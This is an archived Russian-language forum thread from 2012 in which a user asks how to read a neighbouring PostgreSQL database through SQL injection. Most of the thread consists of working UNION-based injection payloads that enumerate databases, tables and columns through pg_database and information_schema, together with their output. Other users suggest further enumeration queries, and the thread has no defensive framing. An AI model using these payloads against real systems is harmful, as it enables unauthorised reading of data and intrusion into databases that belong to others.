PDA

Просмотр полной версии : Чтение другой базы в Postgres


Cnekmp
24.06.2012, 03:13
Версия: PostgreSQL 8.4.2

Выполняю запрос:


HTML:
-' union select null,null,null,null,null,current_database()--

Ответ:

somedatadb

Второй запрос:


HTML:
-' union select null,null,null,null,null,datname FROM pg_database--

Ответ:

db1

db2

db3

Вопрос: Как можно смодулировать запрос с учетом предыдущего примера запроса, чтобы посмотреть содержимое db2. (пользователь имеет доступ на просмотр)

Пробывал


HTML:
-' union select null,null,null,null,null,table_name FROM db2--

но не работает. Может я что-то делаю не правильно?

cat1vo
24.06.2012, 04:06
Для начала начните использовать information_schema в PostgreSQL она тоже есть!

Cnekmp
24.06.2012, 04:09
Делал уже, но как-то выдает таблицы базы в которой я нахожусь а не соседней:


HTML:
-' union select null,null,null,null,null,table_name FROM information_schema.tables WHERE table_schema = 'public'--

-' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='user_log'--

-' union select null,null,null,null,null,var_name FROM user_log--

Но мне нужен запрос который "покажет" соседнюю базу.

A_n_d_r_e_i
24.06.2012, 04:43
schema_name from information_schema.schemata

Если не ошибаюсь

Cnekmp
24.06.2012, 05:05
Разобрался:

Этот запрос показывает все таблицы (включая таблицы других баз)


HTML:
-' union select null,null,null,null,null,table_name FROM information_schema.tables

Показываем колонны в найденных таблицах:


HTML:
-' union select null,null,null,null,null,column_name FROM information_schema.columns WHERE table_name ='privileges'--

Вывод:

server_ID

usr_ID

priv_type

А как собственно посмотреть данные этих колонн?

Такой запрос просто не показывает каких либо данных....


HTML:
-' union select null,null,null,null,null,cast(server_ID as text) FROM privileges--